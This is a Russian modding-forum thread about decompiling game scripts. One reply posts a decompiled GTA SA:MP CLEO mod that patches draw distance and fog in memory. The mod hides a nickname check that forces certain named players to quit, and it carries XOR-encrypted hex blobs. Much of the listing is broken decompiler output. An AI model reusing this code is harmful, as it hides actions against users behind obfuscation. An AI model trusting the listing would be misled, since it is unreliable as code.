Декомпиляция скриптов

FYP

Известный
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GVWUrNJ.png
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Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

Fix_Play

Потрачен
105
30
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
скрипт не будет работать перепишешь
код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}
{$USE bitwise}
{$USE CLEO+}
{$USE file}
{$USE ini}
{$USE newOpcodes}

0000: NOP
0662: printstring "YouTube.com/DapoShow"
0662: printstring "VK.COM/DAPODOPE"

:NONAME_45
wait 0
   SAMP.Available
jf @NONAME_45
0C6A: TIMERB = create_custom_thread_at_label -2684
   not call -3460 1 -84
if
0AAB:   file_exists "CLEO\DFL Editor by Dapo Show.ini"
jf @NONAME_300
0AF2: 0@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF2: 6@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF2: 10@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
jump @NONAME_630

:NONAME_300
0AF3: write_float 500.0 to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF3: write_float 200.0 to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF3: write_float 230.0 to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
0AF2: 0@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF2: 6@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF2: 10@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"

:NONAME_630
0B34: samp register_client_command "dd" to_label @NONAME_869
0B34: samp register_client_command "fd" to_label @NONAME_1508
0B34: samp register_client_command "ld" to_label @NONAME_2145
chatmsg "{73b461}[DFL Editor] {ffffff}Загружен! {DC4747}Управление: {ffffff}/fd, /dd, /ld {DC4747}v3.0 {ffffff}by Dapo Show" -1
0A8C: write_memory 5499541 size 4 value 12044272 virtual_protect 1
0A8C: write_memory 8381985 size 4 value 13213544 virtual_protect 1

:NONAME_816
wait 0
0A8C: write_memory 12044272 size 4 value 0@ virtual_protect 1
0A8C: write_memory 13210352 size 4 value 6@ virtual_protect 1
0A8C: write_memory 8753112 size 4 value 10@ virtual_protect 1
jump @NONAME_816

:NONAME_869
   SAMP.IsCommandTyped(2@)
0AD4: 1@ = scan_string 2@ format "%d" 7@
0C17: 1@ = strlen 2@
if
  1@ > 0
jf @NONAME_1293
if and
  7@ > 34
   not 7@ >= 3601
jf @NONAME_1203
008F: 4@ = integer 7@ to_float
0A8D: 8@ = read_memory 13210352 size 4 virtual_protect 1
if
0025:   4@ > 8@ // (float)
jf @NONAME_1112
0092: 9@ = float 8@ to_integer
0AF3: write_float 4@ to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF2: 0@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
jump @NONAME_1196

:NONAME_1112
chatmsg "{73b461}[DFL Editor] {ffffff}Нельзя ставить прорисовку {DC4747}меньше тумана!" -1

:NONAME_1196
jump @NONAME_1286

:NONAME_1203
chatmsg "{73b461}[DFL Editor] {ffffff}Допустимые значения: {DC4747}35 - 3600{ffffff}!" -1

:NONAME_1286
jump @NONAME_1364

:NONAME_1293
chatmsg "{73b461}[DFL Editor] {ffffff}Используйте {DC4747}/dd [35 - 3600]" -1

:NONAME_1364
0092: 11@ = float 0@ to_integer
0092: 12@ = float 6@ to_integer
0092: 13@ = float 10@ to_integer
chatmsg "{73b461}[DFL Editor] {ffffff}Прорисовка: {DC4747}%d {ffffff}Туман: {DC4747}%d {ffffff}Лоды: {DC4747}%d" -1 11@ 12@ 13@
SAMP.CmdRet

:NONAME_1508
   SAMP.IsCommandTyped(2@)
0AD4: 1@ = scan_string 2@ format "%d" 7@
0C17: 1@ = strlen 2@
if
  1@ > 0
jf @NONAME_1928
0A8D: 8@ = read_memory 12043504 size 4 virtual_protect 1
008F: 4@ = integer 7@ to_float
if and
  4@ > -101.0
   not 4@ >= 3601.0
jf @NONAME_1836
if
0025:   8@ > 4@ // (float)
jf @NONAME_1746
0092: 9@ = float 8@ to_integer
0AF3: write_float 4@ to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF2: 6@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
jump @NONAME_1829

:NONAME_1746
chatmsg "{73b461}[DFL Editor] {ffffff}Нельзя ставить туман {DC4747}больше прорисовки!" -1

:NONAME_1829
jump @NONAME_1921

:NONAME_1836
chatmsg "{73b461}[DFL Editor] {ffffff}Допустимые значения: {DC4747}-100 - 3600{ffffff}!" -1

:NONAME_1921
jump @NONAME_2001

:NONAME_1928
chatmsg "{73b461}[DFL Editor] {ffffff}Используйте {DC4747}/fd [-100 - 3600]" -1

:NONAME_2001
0092: 11@ = float 0@ to_integer
0092: 12@ = float 6@ to_integer
0092: 13@ = float 10@ to_integer
chatmsg "{73b461}[DFL Editor] {ffffff}Прорисовка: {DC4747}%d {ffffff}Туман: {DC4747}%d {ffffff}Лоды: {DC4747}%d" -1 11@ 12@ 13@
SAMP.CmdRet

:NONAME_2145
   SAMP.IsCommandTyped(2@)
0AD4: 1@ = scan_string 2@ format "%d" 7@
0C17: 1@ = strlen 2@
if
  1@ > 0
jf @NONAME_2455
0A8D: 8@ = read_memory 8753112 size 4 virtual_protect 1
008F: 4@ = integer 7@ to_float
if and
  4@ >= 0.0
   not 4@ > 1000.0
jf @NONAME_2366
0092: 7@ = float 4@ to_integer
0AF3: write_float 4@ to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
0AF2: 10@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
jump @NONAME_2448

:NONAME_2366
chatmsg "{73b461}[DFL Editor] {ffffff}Допустимые значения: {DC4747}1 - 1000{ffffff}!" -1

:NONAME_2448
jump @NONAME_2525

:NONAME_2455
chatmsg "{73b461}[DFL Editor] {ffffff}Используйте {DC4747}/ld [1 - 1000]" -1

:NONAME_2525
0092: 11@ = float 0@ to_integer
0092: 12@ = float 6@ to_integer
0092: 13@ = float 10@ to_integer
chatmsg "{73b461}[DFL Editor] {ffffff}Прорисовка: {DC4747}%d {ffffff}Туман: {DC4747}%d {ffffff}Лоды: {DC4747}%d" -1 11@ 12@ 13@
SAMP.CmdRet
   not call -3460 1 -84

:NONAME_2684
wait 0
   SAMP.Available
jf @NONAME_2684
alloc 0@ 256
   not call -3016 1 -2720

:NONAME_2720
wait 0
1@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
0@ = SAMP.GetPlayerNickname(1@)
if or
0C18: 3@ = strstr string1 0@ string2 "Dapo_Dope"
0C18: 3@ = strstr string1 0@ string2 "Abramovich"
0C18: 3@ = strstr string1 0@ string2 "Iori_"
0C18: 3@ = strstr string1 0@ string2 "Arsen_Cherep"
0C18: 3@ = strstr string1 0@ string2 "Glock_Wilder"
0C18: 3@ = strstr string1 0@ string2 "Abramstone"
jf @NONAME_2882
0C8F: samp process_chat_input "/q"
jump @NONAME_2942

:NONAME_2882
if
0C18: 3@ = strstr string1 0@ string2 "Miracle"
jf @NONAME_2942
if
8C18:   not 3@ = strstr string1 0@ string2 "Rossi"
jf @NONAME_2942
0C8F: samp process_chat_input "/q"

:NONAME_2942
jump @NONAME_2720
   not call -3016 1 -2720
hex
48 45
end
0058: 0 += // (int)
hex
00 45 00 00 00 0F 00 00 00 6D
end
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
9100:   not
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
8500:   not player 0@s skin ==
0103:   actor stopped_in_car
hex
01 1C FF FF FF 9F 0A 03
end
jump s$192
jump 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0

:NONAME_3065
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -51
0B12: 6@ = 6@ XOR 7@
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3065
ret 0
hex
A5 23 93 5C A2 DF 9B 67 F7 8B 75 B3 2B DD ED 92
DB 75 0E D4 2E 83 D4 22 54 6E 92 9B 26 45 94 2A
7C FB 74 52 6A 27 2F B6 B2 1D A6 DC 4E F2 44 84
14 4C 57 C2 33 EC 6E BA 57 37 14 3B FD 42 DD 5C
6E 34 E5 AB 83 93 42 3C 5F 6D A4 D5 C4 C6 6B 1E
DA 15 3E 85 A6 9B CD F3 FF B2 05 2A E2 E2
end
03DE: set_pedestrians_density_multiplier_to 25150@s
hex
6B 9C BB 8E 63 9E 44 64 63 86 52 9C E3 6B EB 2A
85 4F 15 35 FA C6 4B 0E D6 E5 DD 53 EA D7 A3 CD
64 D6 BB 6B 6F 06 AD 27 7E 4A 5C FC 16 0B 6C 12
B6 6C 57 A4 87 27 8E 7A 36 63 3F 5E C5 52 B2 8F
26 9D 65 97 C7 53 06 1C E2 C6 07 9B FD FB 82 5D
15 24 12 65 B4 16 2E F3 73 8D D2 5F A2 7D 37 4F
07 0D FC 64 06 53 5E FE F3 1E 0D F6 67 AE 8F B3
FC CD F2 ED E6 1E 0C 16 75 6A 0F EF 7A CE 4E CB
8E 6F 04 13 23 8B 6E 33 04 9D C3 2B B4 75 EF 9C
AC 7D 7F DE 8A 75 3A 2B C6 E5 77 62 2F 92 B5 9D
B6 AD 86 6F 6B 04 C6 92 6E 7D A7 14 72 74 27 4B
B5 02 62 67 3E 0E 2F 9C 54 CA 6E D2 4E CD 2A 34
BE EF 55 B6 0B 07 CE 53 1D 35 8A B3 37 FC 76 CE
4D D7 2A FD F3 27 FF FF
end
0A9F: 2@ = current_thread_pointer
2@ += 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0

:NONAME_3509
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -101
0A8F: 6@ = 255 - 6@ // int
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3509
ret 0
hex
E3 3B 1B DC 8B 6A 2B 83 26 A6 16 4A F5 07 CF 44
1B DA 66 8C 4A C4 BF 45 65 74 23 33 8C 95 4C 16
0C 4B E7 DC FC 25 55 4A 87 6D DD E7 5E 4A E3 A5
BA 9A 2F B3 3B 5F 6F 2F DC 46 DE 6B E5 64 D2 4A
AD 6D D6 6B 35 8F AD 42 5D 12 E4 F3 BF 54 DD 75
F6 24 57 B4 2B 0B CE 56 1A 76 1C E2 BF D7 D7 42
97 E2 4D DB 2A BE CD 93 4F 7B 3C A7 BD 22 EA E3
A7 13 3F 46 3E 5F FC 86 57 AD 97 1A 55 4E 0C 43
2A C6 67 FD 33 7F 64 72 B4 74 BC 75 8C 23 C7 3E
BF 2A 05 FC FF 3A 9B A7 8E A4 B6 2B 55 FA 43 9D
96 34 1F 6D 03 F4 1E FC
end
0012:  // Note: the incorrect math opcode was used here
hex
00 5F 5F 53 42 46 54 52 00 00 00 00 00 00 00 00
48 CB B9 A9 AA 9F 01 08 28 72 E2 04 C8 EE
end
04E2: NOP s$0
hex
C0 D0 E0 F0 B6 06 F8 2E
end
0029:    // Note: the incorrect math opcode was used here
hex
00 2C 0F CC 17 FF FF FF FF FF FF FF FF 2F 44 41
50 69 88 BE 3E 45 00 00 8C E0 11 CC 17 D0 0F CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
8401:   not
hex
F5 FF 64 88 B3 3E
end
0100:   actor in_car
hex
CC 17 70 0F CC 17 00 00 00 00 29 FF FB FF 63 88
B0 3E BC 02 00 8C 58 0F CC 17 E0 11 CC 17 00 00
00 00 9D 86 DF BB 7E 88 B5 3E AC 03 00 8C A0 0F
CC 17 28 12 CC 17 00 00 00 00 F5 F1 DF BC 7D 88
AA 3E
end
select_interior
hex
8C 78 10 CC
end
8817:   not assign_actor 'М' to_animation_path_with_walk_mode
hex
8C C8 11 CC 17 E0 04 E2
end
0004:  // Note: the incorrect math opcode was used here
0000: NOP
hex
8B 9E 91 9C 77 88 AC 3E
end
060D: draw_text_shadow
hex
8C 40 0F CC 17 90 10 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
908B:   not
hex
8D DF 72 88 A1 3E 9E 07 00 8C 98 11 CC 17 08 11
CC 17 00 00 00 00 8D 9E 92 8C 71 88 A6 3E
end
0898: set_cranes_controls_enable_UP
hex
8C B0 11 CC 17 58 0F CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
DF BA 9B 96 8C 8B 9B 3E 9D 09 00 8C F8 11 CC 17
48 10 CC 17 00 00 00 00 F1 F9 AF 9E 8B 8B 98 3E
end
0AF1: write_int
hex
8C F0 10 CC 17 60 10 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
0C F5 F9 FF 86 8B 9D 3E
end
0BDF: resume_thread
hex
8C 18 10 CC 17 98 11 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
DF 9D 86 DF 85 8B 92 3E DF 0C 00 8C 30 10 CC 17
F8 11 CC 17 00 00 00 00 8C F1 F7 BB 80 8B 97 3E
91 0D 00 8C A8 10 CC 17 A0 0F CC 17 00 00 00 00
A3 BB B9 B3 9F 8B 94 3E 8B 0E 00 8C D0 0F CC 17
C8 11 CC 17 00 00 00 00 D1 96 91 96 9A 8B 89 3E
8D 0F 00 8C C0 10 CC 17 78 10 CC 17 00 00 00 00
F1 DF BC B3 99 8B 8E 3E B9 10 00 8C D8 10 CC 17
A8 10 CC 17 00 00 00 00 90 DF AC 97 94 8B 83 3E
91 11 00 8C 20 11 CC 17 C0 10 CC 17 00 00 00 00
0D F5 F1 DF 93 8B 80 3E A3 12 00 8C 28 12 CC 17
30 10 CC 17 00 00 00 00 9E 8F 90 DF AE 8B 85 3E
D1 13 00 8C E8 0F CC 17 10 12 CC 17 00 00 00 00
8C 8B 9E 91 AD 8B FA 3E FF 14 00 8C 38 11 CC 17
D8 10 CC 17 00 00 00 00 96 8B 90 8D A8 8B FF 3E
BB 15 00 8C 50 11 CC 17 20 11 CC 17 00 00 00 00
9E 8D 9E 92 A7 8B FC 3E 90 16 00 8C 68 11 CC 17
38 11 CC 17 00 00 00 00 B3 DF BA 9B A2 8B F1 3E
DF 17 00 8C 80 11 CC 17 50 11 CC 17 00 00 00 00
96 F1 F9 AF A1 8B F6 3E 8C 18 00 8C B8 12 CC 17
68 11 CC 17 00 00 00 00 FE 64 03 00 BC 8B EB 3E
FD 19 00 8C 48 10 CC 17 E8 0F CC 17 00 00 00 00
end
0008:  // Note: the incorrect math opcode was used here
hex
07 BB 8B E8 3E C8 1A 00 8C 10 12 CC
end
0017: v$1523[0] /=  // Note: the incorrect math opcode was used here
0000: NOP
9000:   not
hex
8D A2 DF B6 8B ED 3E 99 1B 00 8C 90 10 CC 17 B8
0F CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
BC CB C8 CB B5 8B E2 3E 0F 1C 00 8C 70 0F CC 17
40 0F CC 17 00 00 00 00 99 82 D0 99 B0 8B E7 3E
9B 1D 00 8C 60 10 CC 17 18 10 CC 17 00 00 00 00
89 CC D1 CF CF 8B E4 3E 99 1E 00 8C 08 11 CC 17
B0 11 CC 11 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
88 FB 00 FF CA 8B D9 3E 15 1F 00 8C 88 0F CC 17
F0 10 CC 17 00 00 00 00 19 80 FF FB C9 8B DE 3E
36 20 00 8C 88 12 CC 17 00 13 CC 17 00 00 00 00
FB FC FF FF C4 8B D3 3E FE 21 00 8C 08 E8 E2 04
88 12 CC 12 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
70 7A FF FB C3 8B D0 3E FB 22 00 8C A0 12 CC 17
D0 12 CC 17 00 00 00 00 FC FD FF F1 DE 8B D5 3E
FE 23 00 8C 58 12 CC 17 40 12 CC 17 00 00 00 00
FB FF E6 FF DD 8B CA 3E FF 24
end
= Math.Abs()
hex
13 CC 17 70 12 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
FF FB DD D6 D8 8B CF 3E FA 25 00 8C E8 12 CC 17
80 11 CC 17 00 00 00 00 F8 FF 72 F5 D7 8B CC 3E
FF 26 00 8C 70 12 CC 17 E8 12 CC 17 00 00 00 00
FF FC F7 FF D2 8B C1 3E 04 27 00 8C D0 12 CC 17
B8 12 CC 17 00 00 00 00 F1 DF BC B3 D1 8B C6 3E
B9 28 00 8C 40 12 CC 17 A0 12 CC 17 00 00 00 00
90 DF AC 97 53 CA B0 BA F2 9E 01 00 C0 00 E2 04
C0 7D
end
04E2: NOP s$0
0000: NOP
0000: NOP
hex
BE 1A F8 2E
end
0029:    // Note: the incorrect math opcode was used here
hex
00 34 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
00 FE FF FF 9D 86 DF BB E6 8B BE 3E AC 00 00 80
60 13 CC 17 30 16 CC 17 00 00 00 00 F1 F7 BB 96
E5 8B B3 3E 9C 01 00 80 88 15 CC 17 48 13 CC 17
00 00 00 00 84 C8 CC 9D E0 8B B0 3E A4 02 00 80
00 16 CC 17 B8 15 CC 17 00 00 00 00 99 99 99 99
FF 8B B5 3E
end
0303: show_text_4numbers_highpriority GXT
0880: NOP
hex
14 CC 17 88 15 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
0E17:
hex
11 1D FA 8B AA 3E
end
select_interior
hex
80 E0 14 CC 17 C8 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
13 1F 12 1F F9 8B AF 3E
end
05FD:   actor on_foot
hex
80 D8 13 CC 17 D0 15 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
C9 CE 82 A4 F4 8B AC 3E
end
06BA: AS_actor
hex
80 68 14 CC 17 C0 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
113B:
hex
10 0C F3 8B A1 3E
end
0704: car
hex
80 58 15 CC 17 A0 15 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
CB C8 CB C8 0E 8B A6 3E
end
08D2: object
hex
80 B0 14 CC 17 90 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
00 FF FD FF 0D 8B 9B 3E
end
0900: clear_object last_weapon_damage
hex
80 38 14 CC 17 E0 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
B3 DF BA 9B 08 8B 98 3E
end
0AA2: // IF and SET
hex
80 50 14 CC 17 20 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
18 0C 16 0D 07 8B 9D 3E
end
0BBC: samp store_player
hex
80 F8 14 CC 17 38 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
CC C9 CF CF 02 8B 92 3E
end
0C6D: 6@ = get_thread
hex
80 18 16 CC 17 D8 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
6D FF FC F2 01 8B 97 3E 07 0D 00 80 70 15 CC 17
00 16 CC 17 00 00 00 00 DF BA 9B 96 1C 8B 94 3E
DF 0E 00 80 30 16 CC 17 E8 15 CC 17 00 00 00 00
1D 15 1F C5 1B 8B 89 3E CB 0F 00 80 C8 14 CC 17
08 14 CC 17 00 00 00 00 2D 0C 13 1F 16 8B 8E 3E
BB
end
0C2D: strrev in  out v$8192
hex
A8 13 CC 17 B0 14 CC 17 00 00 00 00 99 82 34 11
15 8B 83 3E 84 11 00 80 20 14 CC 17 A8 13 CC 17
00 00 00 00 F3 FF FC F2 10 8B 80 3E CA 12 00 80
10 15 CC 17 50 14 CC 17 00 00 00 00 FF FC F8 FF
2F 8B 85 3E FD 13 00 80 90 16 CC 17 F8 14 CC 17
00 00 00 00 B2 FF FE 87 2A 8B FA 3E F5 14 00 80
D0 15 CC 17 40 15 CC 17 00 00 00 00 FB FF FC F8
29 8B FF 3E FE 15 00 80 28 15 CC 17 E0 04
end
04E2: NOP
0000: NOP
hex
00 F9 FF EF 9E 24 8B FC 3E 2B 16 00 80 B8 15 CC
17 F0 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
B2 FF FE D1 23 8B F1 3E FF 17 00 80 E8 15 CC 17
80 14 CC 17 00 00 00 00 BA B0 A3 BB 3E 8B F6 3E
9B 18 00 80 90 13 CC 17 60 13 CC 17 00 00 00 00
90 88 D1 96 3D 8B EB 3E AF 19 00 80 F0 13 CC 17
18 16 CC 17 00 00 00 00 B3 BA B0 A3 38 8B E8 3E
BA 1A 00 80 78 13 CC 17 58 15 CC 17 00 00 00 00
97 90 88 D1 37 8B ED 3E F9 1B 00 80 C0 13 CC 17
28 15 CC 17 00 00 00 00 FF FE 24 07 32 8B E2 3E
F1 1C 00 80 98 14 CC 17 70 15 CC 17 00 00 00 00
9B 96 8B 90 31 8B E7 3E 99 1D 00 80 80 14 CC 17
78 13 CC 17 00 00 00 00 1F 1D 17 0D 4C 8B E4 3E
13 1E 00 80 A0 15 CC 17 68 14 CC 17 00 00 00 00
07 1A DF 10 4B 8B D9 3E 0E 1F 00 80 48 13 CC 17
98 14 CC 17 00 00 00 00 07 F5 F1 B1 46 8B DE 3E
CB 20 00 80 78 16 CC 17 08 17 CC 17 00 00 00 00
DF 84 99 99 45 8B D3 3E 82 21 00 80 C0 16 CC 17
78 16 CC 17 00 00 00 00 1A 12 17 00 40 8B D0 3E
BC 22 00 80 60 16 CC 17 48 16 CC 17 00 00 00 00
CF 84 99 99 5F 8B D5 3E 82 23 00 80 A8 16 CC 17
10 15 CC 17 00 00 00 00 84 C8 CC 9D 5A 8B CA 3E
A4 24 00 80 08 17 CC 17 90 16 CC 17 00 00 00 00
99 99 99 99 59 8B CF 3E 11 25 00 80 D8 16 CC 17
60 16 CC 17 00 00 00 00 82 D0 99 9B 54 8B CC 3E
CF 26 00 80 F0 16 CC 17 C0 16 CC 17 00 00 00 00
F4 FF FC FF 53 8B C1 3E F3 27 00 80 10 E9 E2 04
D8 16 CC 17 00 00 00 00 99 84 C8 CC 6E 8B C6 3E
82 28 00 80 48 16 CC 17 A8 16 CC 17 00 00 00 00
99 99 99 99
end
   Car.Wrecked()
hex
18 71 9F 01 00 C0 00 E2 04 B8 E9 E2 04 BC CB C8
CB C8 82 DA 9B DF 84 99 99 99 99 99 99 82 2D 0C
13 1F 12 C5 DF 84 BB 84 BB BC CB C8 CB C8 82 DA
9B DF 84 99 99 99 99 99 99 82 34 11 1B 04 C5 DF
84 BB BC CB C8 CB C8 82 DA 9B FB 00 FC F4 FF FC
F3 FF FC F2 FF FF BC F4 CA F4 FC FD FF 2B F5 FC
FD FF F1 FD DA 9B FC FE FF FC F8 FF FF E8 F3 FC
FD FF FC FE FF 29 FF FB FF E6 FF FC FE FF FB FF
B2 FF FE
end
0996: set_racing_checkpoint
hex
00 72 F5 FE 27 70 7A FF FB FB FB FE FC F7 FF 70
FF FC FB FF FC F8 FF 29 FF FB FE CE FF FC FB FF
F9 FF FF FF FF DE 7F FC FB FF F9 FF FF 85 BB B2
FF FE
end
093D: lock_camera_on_cinematic_view
hex
00 6D FF FC F8 FF FC FB FF 0C F5 FC FB FF F1 DF
BC B3 BA B0 A3 BB B9 B3 DF BA 9B 96 8B 90 8D DF
9D 86 DF BB 9E 8F 90 DF AC 97 90 88 D1 96 91 96
F1 F9 AF 9E 8D 9E 92 8C F1 FB B3 90 9B 8C 0D F5
F1 DF BC B3 BA B0 A3 BB B9 B3 DF BA 9B 96 8B 90
8D DF 9D 86 DF BB 9E 8F 90 DF AC 97 90 88 D1 96
91 96 F1 F9 AF 9E 8D 9E 92 8C F1 FB B3 90 9B 8C
FC F5 FF FD FF FE 8F 09 00 00 07 F5 F1 B4 84 C8
CC 9D CB C9 CE 82 A4 BB B9 B3 DF BA 9B 96 8B 90
8D A2 DF 84 99 99 99 99 99 99 82 3B 11 10 0C 0E
0D 17 13 04 1A DF 18 12 1F 08 1A 12 17 00 C5 DF
84 BB BC CB C8 CB C8 82 CE DF D2 DF CE CF CF CF
84 99 99 99 99 99 99 82 DE FB 00 FF FD FF FE DC
end
0009:  // Note: the incorrect math opcode was used here
hex
07 F5 F1 C0 84 C8 CC 9D CB C9 CE 82 A4 BB B9 B3
DF BA 9B 96 8B 90 8D A2 DF 84 99 99 99 99 99 99
82 37 0E 10 11 14 03 18 0C 16 0D 1A DF 84 BB BC
CB C8 CB C8 82 D0 93 9B DF A4 CE DF D2 DF CE CF
CF CF A2 FB 00 FF 6D FF FC F4 FF FC FF FF 6D FF
FC F3 FF FC F9 FF 6D FF FC F2 FF FC F5 FF 07 F5
F1 99 84 C8 CC 9D CB C9 CE 82 A4 BB B9 B3 DF BA
9B 96 8B 90 8D A2 DF 84 99 99 99 99 99 99 82 30
0F 11 0F 17 0E 11 1D 15 1F C5 DF 84 BB BC CB C8
CB C8 82 DA 9B DF 84 99 99 99 99 99 99 82 2D 0C
13 1F 12 C5 DF 84 BB 84 BB BC CB C8 CB C8 82 DA
9B DF 84 99 99 99 99 99 99 82 34 11 1B 04 C5 DF
84 BB BC CB C8 CB C8 82 DA 9B FB 00 FC F4 FF FC
F3 FF FC F2 FF FF BC F4 B1 8A 01 7C F2 FF FF
end
0104:   actor -84 near_actor
wait 0
   SAMP.Available
jf @NONAME_2684
alloc 0@ 256
   not call -3016 1 -2720
hex
CC CD C9 CD E6 C6 CF C1 CD CE CC CD FB C6 CE CC
CD CE CD CD 1B CD C9 D4 D5 C1 CE CD CD C3 C4 89
AC BD A2 92 89 A2 BD A8 CE CE CD D5 C1 CE CD CD
C3 C7 8C AF BF AC A0 A2 BB A4 AE A5 CE CE CD D5
C1 CE CD CD C3 C8 84 A2 BF A4 92 CE CE CD D5 C1
CE CD CD C3 C1 8C BF BE A8 A3 92 8E A5 A8 BF A8
BD CE CE CD D5 C1 CE CD CD C3 C1 8A A1 A2 AE A6
92 9A A4 A1 A9 A8 BF CE CE CD D5 C1 CE CD CD C3
C7 8C AF BF AC A0 BE B9 A2 A3 A8 CE CE CD 80 CD
CC 73 39 32 32 42 C1 C3 CF E2 BC CF CD CC 4F 39
32 32 1B CD C9 CD D5 C1 CE CD CD C3 CA 80 A4 BF
AC AE A1 A8 CE CE CD 80 CD CC 4F 39 32 32 1B CD
C9 CD D5 41 CE CD CD C3 C8 9F A2 BE BE A4 CE CE
CD 80 CD CC 4F 39 32 32 42 C1 C3 CF E2 BC CF CD
CC AD 38 32 32 B1 8A 01 38 F4 FF FF
end
0104:   actor -2720 near_actor
hex
48 45
end
0058: 0 += // (int)
hex
00 45 00 00 00 0F 00 00 00 6D
end
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
9100:   not
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
8500:   not player 0@s skin ==
0103:   actor stopped_in_car
hex
01 1C FF FF FF 9F 0A 03
end
jump s$192
jump 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -51
0B12: 6@ = 6@ XOR 7@
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3065
ret 0
hex
A5 23 93 5C A2 DF 9B 67 F7 8B 75 B3 2B DD ED 92
DB 75 0E D4 2E 83 D4 22 54 6E 92 9B 26 45 94 2A
7C FB 74 52 6A 27 2F B6 B2 1D A6 DC 4E F2 44 84
14 4C 57 C2 33 EC 6E BA 57 37 14 3B FD 42 DD 5C
6E 34 E5 AB 83 93 42 3C 5F 6D A4 D5 C4 C6 6B 1E
DA 15 3E 85 A6 9B CD F3 FF B2 05 2A E2 E2
end
03DE: set_pedestrians_density_multiplier_to 25150@s
hex
6B 9C BB 8E 63 9E 44 64 63 86 52 9C E3 6B EB 2A
85 4F 15 35 FA C6 4B 0E D6 E5 DD 53 EA D7 A3 CD
64 D6 BB 6B 6F 06 AD 27 7E 4A 5C FC 16 0B 6C 12
